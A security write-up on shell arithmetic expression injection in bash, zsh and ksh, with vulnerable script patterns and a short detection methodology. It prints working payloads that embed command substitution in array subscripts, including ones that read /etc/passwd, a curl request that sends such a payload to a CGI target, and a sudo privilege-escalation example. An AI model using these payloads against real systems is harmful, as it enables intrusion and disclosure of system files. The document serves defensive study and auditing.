Shell Arithmetic Expression Exploitation
Affected Shells: bash, zsh, ksh, pdksh, mksh
Technical Analysis
When a variable is declared as an integer type or used in arithmetic contexts, shells don't just evaluate the value as a number they evaluate it as an arithmetic expression. This includes:
Mathematical operators (
+,-,*,/)Assignment operators (
=,+=,-=)Array subscripts with command substitution:
array[$(command)]
x[$(whoami)]=valueInteger Variable Declaration
typeset -i n
declare -i n
n="$user_input"The variable is to be treated as an integer; arithmetic evaluation is performed when the variable is assigned a value.
./script.sh 'x[$(whoami>&2)]'Arithmetic Expansion
#!/bin/bash
result=$(( $user_input ))
# or
result=$[ $user_input ]./script.sh 'x[$(cat /etc/passwd>&2)]'Comparison Operators in [[ ]]
#!/bin/bash
if [[ "$user_input" -eq 100 ]]; then
echo "OK"
fiOperators like -eq, -ne, -lt, -le, -gt, -ge inside [[ ]] trigger arithmetic evaluation of their operands.
curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://target/index.cgiParameter Expansion
${var:$offset:$length}Read Command
typeset -i n
read n The >&2 redirects output to stderr so the command result doesn't
interfere with array indexing, while still being visible.
CGI Script Exploitation
#!/bin/bash
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]]; then
echo "OK"
else
echo "NG"
ficurl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://target/index.cgiCSV Injection
#!/bin/bash
while IFS=, read item price num; do
echo "$item,$((price*num))"
done < "data.csv"product,100,x[$(whoami>&2)]Privilege Escalation via SUID/Sudo Scripts
#!/bin/bash
typeset -i n
n="$1"sudo ./script.sh 'x[$(whoami>&2)]'Variable Overwrite
#!/bin/bash
typeset -i n
a=5
n="$1"
echo "$a"./script.sh a=10
# Output: 10Detection Methodology
Step 1: Code Audit - Find Vulnerable Patterns
Step 2: Trace User Input Flow
Identify all entry points for user data:
Command-line arguments:
$1,$2,$@,$*Environment variables:
$QUERY_STRING,$HTTP_*File input:
readcommandStdin:
readwithout-rflag
Step 3: Test with Proof-of-Concept
Step 4: Verify Execution Context
Last updated
